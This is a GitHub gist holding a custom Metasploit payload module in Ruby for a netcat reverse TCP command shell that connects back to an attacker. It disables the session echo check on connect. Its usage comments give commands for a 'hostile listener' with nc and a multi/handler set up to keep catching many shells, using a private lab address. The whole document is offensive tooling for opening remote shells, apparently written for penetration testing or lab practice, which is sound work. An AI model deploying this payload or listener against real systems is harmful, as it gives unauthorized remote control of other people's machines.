Skip to content

Instantly share code, notes, and snippets.

@mikesmullin
Created September 27, 2021 00:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mikesmullin/6e9f644bab74d517fa6ee86fc785130c to your computer and use it in GitHub Desktop.
Save mikesmullin/6e9f644bab74d517fa6ee86fc785130c to your computer and use it in GitHub Desktop.
Metasploit: Payload: TTY Command Shell, Reverse TCP (Netcat) w/ AutoVerifySession=false to prevent echo test on connect
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# /usr/share/metasploit-framework/modules/payloads/singles/generic/nc_reverse_tcp.rb
# usage:
# # launch hostile listener
# $ sudo nc -vlp 80 -ns 192.168.119.198
# # alternatively, one that can receive many connections at once, and remains listening always
# msf> use exploit/multi/handler
# msf> set ExitOnSession false
# msf> set payload generic/nc_reverse_tcp
# msf> setg LHOST 192.168.119.198
# msf> setg LPORT 80
# msf> exploit -j
module MetasploitModule
CachedSize = 0
include Msf::Payload::Single
include Msf::Payload::Generic
def initialize(info = {})
super(merge_info(info,
'Name' => 'TTY Command Shell, Reverse TCP (Netcat)',
'Description' => 'Connect back to attacker',
'Author' => 'smullz',
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
))
register_options(
[
OptBool.new('AutoVerifySession', [false, "Whether to test echo statement on connect", false]),
],
self.class
)
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment